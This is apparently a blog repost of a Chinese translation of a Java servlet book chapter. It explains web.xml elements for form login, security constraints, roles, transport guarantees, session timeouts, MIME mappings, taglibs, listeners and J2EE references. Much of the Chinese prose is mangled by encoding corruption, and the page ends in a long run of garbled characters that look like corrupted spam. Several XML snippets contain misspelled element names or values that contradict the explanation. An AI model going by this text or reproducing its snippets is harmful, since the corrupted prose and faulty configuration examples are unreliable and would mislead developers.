E序清单5-19 web.xmlQ说明login-config的摘录)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- ... -->
<security-constraint> ... </security-constraint>
<login-config>
<auth-method> FORM </auth-method>
<form-login-config>
<form-login-page>/login.jsp</form-login-page>
<form-error-page>/login-error.jsp</form-error-page>
</form-login-config>
</login-config>
<!-- ... -->
</web-app>


9.2 限制对Web资源的访?br /> ?在,可以指示服务器用何U验证方法了?了不P"你说道,"除非我能指定一个来受到保护?URLQ否则没有多大用处?没错。指些URLq说明他们应该得CU保护正是security-constriaint元素的用途。此元素?web.xml中应该出现在login-config的最前面。它包含四个可能的子元素Q分别是Qweb-resource-collection?auth-constraint、user-data-constraint和display-name。下面各节对它们进行介l?br /> l web-resource-collection
?元素定应该保护的资源。所有security-constraint元素都必d含至一个web-resource-collectionV此元素 ׃个给ZQ意标识名U的web-resource-name元素、一个确定应该保护的URL的url-pattern元素、一个指出此保护所适用?HTTP命oQGET、POST{,~省为所有方法)的http-method元素和一个提供资料的可选description元素l成。例如,下面?Web-resource-collection(在security-constratint元素内)指出Web应用的proprietary目录?所有文档应该受C护?br /> <security-constraint>
<web-resource-coolection>
<web-resource-name>Proprietary</web-resource-name>
<url-pattern>/propritary/*</url-pattern>
</web-resource-coolection>
<!-- ... -->
</security-constraint>
?要的是应该注意到Qurl-pattern仅适用于直接访问这些资源的客户机。特别是Q它不适合于通过MVC体系l构利用 RequestDispatcher来访问的面Q或者不适合于利用类似jsp:forward的手D|讉K的页面。这U不匀U如果利用得当的话很有好 处。例如,servlet可利用MVC体系l构查找数据Q把它放到bean中,发送请求到从bean中提取数据的JSP面q显C它。我们希望保证决不直 接访问受保护的JSP面Q而只是通过建立该页面将使用的bean的servlet来访问它。url-pattern和auth-contraint元素 可通过声明不允怓Q何用L接访问JSP面来提供这U保证。但是,q种不匀U的行ؓ可能让开发h员放松警惕,使他们偶然对应受保护的资源提供不受限制的 讉K?
l auth-constraint
管web-resource-collention元素质出了哪些URL应该受到保护Q?但是auth-constraint元素却指出哪些用户应该具有受保护资源的访问权。此元素应该包含一个或多个标识h讉K权限的用L别role- name元素Q以及包含(可选)一个描q角色的description元素。例如,下面web.xml中的security-constraint元素?门规定只有指定ؓAdministrator或Big KahunaQ或两者)的用户具有指定资源的讉K权?br /> <security-constraint>
<web-resource-coolection> ... </web-resource-coolection>
<auth-constraint>
<role-name>administrator</role-name>
<role-name>kahuna</role-name>
</auth-constraint>
</security-constraint>
重要的是认识刎ͼ到此为止Q这个过E的可移植部分结束了。服务器怎样定哪些用户处于M角色以及它怎样存放用户的口令,完全有赖于具体的pȝ?br /> 例如QTomcat使用install_dir/conf/tomcat-users.xml用户名与角色名和口令相兌Q正如下面例子中所C,它指出用户joeQ口令bigshotQ和janeQ口令enajQ属于administrator和kahuna角色?br /> <tomcat-users>
<user name="joe" password="bigshot" roles="administrator,kahuna" />
<user name="jane" password="enaj" roles="kahuna" />
</tomcat-users>
l user-data-constraint
q?个可选的元素指出在访问相兌源时使用M传输层保护。它必须包含一个transport-guarantee子元素(合法gؓNONE?INTEGRAL或CONFIDENTIALQ,q且可选地包含一个description元素。transport-guarantee为NONE值将 Ҏ用的通讯协议不加限制。INTEGRALDC数据必M一U防止截取它的h阅读它的方式传送。虽然原理上Qƈ且在未来的HTTP版本中)Q在 INTEGRAL和CONFIDENTIAL之间可能会有差别Q但在当前实践中Q他们都只是单地要求用SSL。例如,下面指示服务器只允许对相兌源做 HTTPSq接Q?br /> <security-constraint>
<!-- ... -->
<user-data-constraint>
<transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
l display-name
security-constraint的这个很用的子元素给予可能由GUI工具使用的安全约束项一个名U?br /> 9.3 分配角色?br /> q今为止Q讨论已l集中到完全由容器(服务器)处理的安全问题之上了。但servlet以及JSP面也能够处理它们自q安全问题?br /> ?如,容器可能允许用户从bigwig或bigcheese角色讉K一个显CZh员额外紧贴的面Q但只允许bigwig用户修改此页面的参数。完成这U?更细致的控制的一U常见方法是调用HttpServletRequset的isUserInRoleҎQƈ据此修改讉K?br /> Servlet?security-role-ref子元素提供出现在服务器专用口令文件中的安全角色名的一个别名。例如,假如~写了一个调?request.isUserInRoleQ?boss"Q的servletQ但后来该servlet被用在了一个其口o文g调用角色manager而不 是boss的服务器中。下面的E序D该servlet能够使用q两个名UC的Q何一个?br /> <servlet>
<!-- ... -->
<security-role-ref>
<role-name>boss</role-name> <!-- New alias -->
<role-link>manager</role-link> <!-- Real name -->
</security-role-ref>
</servlet>
也可以在web-app内利用security-role元素提供出现在role-name元素中的所有安全角色的一个全局列表。分别地生命角色佉KUIDEҎ处理安全信息?/p>

10 控制会话时

?果某个会话在一定的旉内未被访问,服务器可把它扔掉以节U内存。可利用HttpSession的setMaxInactiveIntervalҎ直接 讄个别会话对象的超时倹{如果不采用q种ҎQ则~省的超时值由具体的服务器军_。但可利用session-config和session- timeout元素来给Z个适用于所有服务器的明的时倹{超时值的单位为分钟,因此Q下面的例子讄~省会话时gؓ三个时Q?80分钟Q?br /> <session-config>
<session-timeout>180</session-timeout>
</session-config>

11 Web应用的文档化

?来越多的开发环境开始提供servlet和JSP的直接支持。例子有Borland Jbuilder Enterprise Edition、Macromedia UltraDev、Allaire JRun StudioQ写此文Ӟ已被Macromedia收购Q以及IBM VisuaAge for Java{?br /> 大量的web.xml元素不仅是ؓ服务器设计的Q而且q是为可视开发环境设计的。它们包括icon、display-name和discription{?br /> 可回忆一下,在web.xml内以适当地次序声明web-app子元素很重要。不q,q里只要Cicon、display-name和description是web.xml的web-app元素内的前三个合法元素即可?br /> l icon
icon元素指出GUI工具可用来代表Web应用的一个和两个囑փ文g。可利用small-icon元素指定一q?6 x 16的GIF或JPEG囑փQ用large-icon元素指定一q?2 x 32的图像。下面D一个例子:
<icon>
<small-icon>/images/small-book.gif</small-icon>
<large-icon>/images/tome.jpg</large-icon>
</icon>
l display-name
display-name元素提供GUI工具可能会用来标记此Web应用的一个名U。下面是个例子?br /> <display-name>Rare Books</display-name>
l description
description元素提供解释性文本,如下所C:
<description>
This Web application represents the store developed for
rare-books.com, an online bookstore specializing in rare
and limited-edition books.
</description>

12 兌文g与MIMEcd

?务器一般都h一U让Web站点理员将文g扩展名与媒体相关联的Ҏ。例如,会自动l予名ؓmom.jpg的文件一个image/jpeg的MIME cd。但是,假如你的Web应用h几个不寻常的文gQ你希望保证它们在发送到客户机时分配为某UMIMEcd。mime-mapping元素Q具?extension和mime-type子元素)可提供这U保证。例如,下面的代码指C服务器application/x-fubar的MIMEcd?配给所有以.fool尾的文件?br /> <mime-mapping>
<extension>foo</extension>
<mime-type>application/x-fubar</mime-type>
</mime-mapping>
或许Q你的Web应用希望重蝲QoverrideQ标准的映射。例如,下面的代码将告诉服务器在发送到客户机时指定.ps文g作ؓU文本(text/plainQ而不是作为PostScriptQapplication/postscriptQ?br /> <mime-mapping>
<extension>ps</extension>
<mime-type>application/postscript</mime-type>
</mime-mapping>


13 定位TLD

JSP taglib元素h一个必要的uri属性,它给Z个TLDQTag Library DescriptorQ文件相对于Web应用的根的位|。TLD文g的实际名U在发布新的标签库版本时可能会改变,但我们希望避免更Ҏ有现有JSP?面。此外,可能q希望用保持taglib元素的简l性的一个简短的uri。这是部v描述W文件的taglib元素z场的所在了。Taglib包含?个子元素Qtaglib-uri和taglib-location。taglib-uri元素应该与用于JSP taglib元素的uri属性的东西相匹配。Taglib-location元素l出TLD文g的实际位|。例如,假如你将文gchart-tags- 1.3beta.tld攑֜WebApp/WEB-INF/tlds中。现在,假如web.xml在web-app元素内包含下列内宏V?br /> <taglib>
<taglib-uri>/charts.tld</taglib-uri>
<taglib-location>
/WEB-INF/tlds/chart-tags-1.3beta.tld
</taglib-location>
</taglib>
l出q个说明后,JSP面可通过下面的简化Ş式用标{ֺ?br /> <%@ taglib uri="/charts.tld" prefix="somePrefix" %>

14 指定应用事g监听E序

应用事g监听器程序是建立或修改servlet环境或会话对象时通知的类。它们是servlet规范的版?.3中的新内宏V这里只单地说明用来向Web应用注册一个监听程序的web.xml的用法?br /> 注册一个监听程序涉及在web.xml的web-app元素内放|一个listener元素。在listener元素内,listener-class元素列出监听E序的完整的限定cdQ如下所C:
<listener>
<listener-class>package.ListenerClass</listener-class>
</listener>
?然listener元素的结构很单,但请不要忘记Q必L地l出web-app元素内的子元素的ơ序。listener元素位于所有的servlet 元素之前以及所有filter-mapping元素之后。此外,因ؓ应用生存期监听程序是serlvet规范?.3版本中的新内容,所以必M?web.xml DTD?.3版本Q而不?.2版本?br /> 例如Q程序清?-20l出一个名为ContextReporter的简单的监听E序Q?只要Web应用的Servlet-Context建立Q如装蝲Web应用Q或消除Q如服务器关闭)Ӟ它就在标准输Z昄一条消息。程序清?-21l?出此监听E序注册所需要的web.xml文g的一部分?/p>

E序清单5-20 ContextReporterjava
package moreservlets;

import javax.servlet.*;
import java.util.*;

/** Simple listener that prints a report on the standard output
* when the ServletContext is created or destroyed.
* <P>
* Taken from More Servlets and JavaServer Pages
* from Prentice Hall and Sun Microsystems Press,
* http://www.moreservlets.com/.
* ? 2002 Marty Hall; may be freely used or adapted.
*/

public class ContextReporter implements ServletContextListener {
public void contextInitialized(ServletContextEvent event) {
System.out.println("Context created on " +
new Date() + ".");
}

public void contextDestroyed(ServletContextEvent event) {
System.out.println("Context destroyed on " +
new Date() + ".");
}
}


E序清单5-21 web.xmlQ声明一个监听程序的摘录Q?br /> <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
<!-- ... -->
<filter-mapping> … </filter-mapping>
<listener>
<listener-class>package.ListenerClass</listener-class>
</listener>
<servlet> ... </servlet>
<!-- ... -->
</web-app>


15 J2EE元素

本节描述用作J2EE环境l成部分的Web应用的web.xml元素。这里将提供一个简明的介绍Q详l内容可以参阅http://java.sun.com/j2ee/j2ee-1_3-fr-spec.pdf的Java 2 Plantform Enterprise Edition版本1.3规范的第5章?br /> l distributable
distributable 元素指出QWeb应用是以q样的方式编E的Q即Q支持集的服务器可安全地在多个服务器上分布Web应用。例如,一个可分布的应用必d使用 Serializable对象作ؓ其HttpSession对象的属性,而且必须避免用实例变量(字段Q来实现持箋性。distributable元素?接出现在discription元素之后Qƈ且不包含子元素或数据Q它只是一个如下的标志?br /> <distributable />
l resource-env-ref
resource -env-ref元素声明一个与某个资源有关的管理对象。此元素׃个可选的description元素、一个resource-env-ref- name元素Q一个相对于java:comp/env环境的JNDI名)以及一个resource-env-type元素Q指定资源类型的完全限定?c)Q如下所C:
<resource-env-ref>
<resource-env-ref-name>
jms/StockQueue
</resource-env-ref-name>
<resource-env-ref-type>
javax.jms.Queue
</resource-env-ref-type>
</resource-env-ref>
l env-entry
env -entry元素声明Web应用的环境项。它׃个可选的description元素、一个env-entry-name元素Q一个相对于java: comp/env环境JNDI名)、一个env-entry-value元素Q项|以及一个env-entry-type元素Qjava.langE序 包中一个类型的完全限定cdQjava.lang.Boolean、java.lang.String{)l成。下面是一个例子:
<env-entry>
<env-entry-name>minAmout</env-entry-name>
<env-entry-value>100.00</env-entry-value>
<env-entry-type>minAmout</env-entry-type>
</env-entry>
l ejb-ref
ejb -ref元素声明对一个EJB的主目录的应用。它׃个可选的description元素、一个ejb-ref-name元素Q相对于java: comp/env的EJB应用Q、一个ejb-ref-type元素Qbean的类型,Entity或SessionQ、一个home元素Qbean的主 目录接口的完全限定名Q、一个remote元素Qbean的远E接口的完全限定名)以及一个可选的ejb-link元素Q当前bean链接的另一?bean的名Uͼl成?br /> l ejb-local-ref
ejb-local-ref元素声明一个EJB的本C目录的引用。除了用local-home代替home外,此元素具有与ejb-ref元素相同的属性ƈ以相同的方式使用?/p>

Fighter 2008-08-23 13:17 发表评论
]]>
վ֩ģ壺 鶹91Ƶ| ˾žŴɫ㽶վ| պһëƬ| AV| ѿƷ3aƵƵ| 91Ƶ| ձ2019߹ۿ| | ĻһƷ| ޹ղ뾫Ʒ| ˾þô߽ӰԺ| Ʒպ99޵߷| ޸ŮBBW| AVXXX鶹| è˳վ߹ۿ| պëƬһ| 99ƷƵ| 99Ƶѿ| ԶƵ߹ۿѲ| ŮվѸƵ| aëƬվ| Ůڵվ| aëƬav| ˾Ʒձר61| ޹˾Ʒ߹ۿ| þþƷAV뽿ɫ | ר| þ޸ۺ| ޾Ʒ벻| avӰ| ߾ƷAAVV| Ӱ߹ۿ| avһ| ɫWWWƷƵ| ޵һƷպ߲| žžۺAVһ| ޹ۺ| ݾ߹ۿվ| պѲ| Ѹ弤Ƶ| ҹƷһ8050|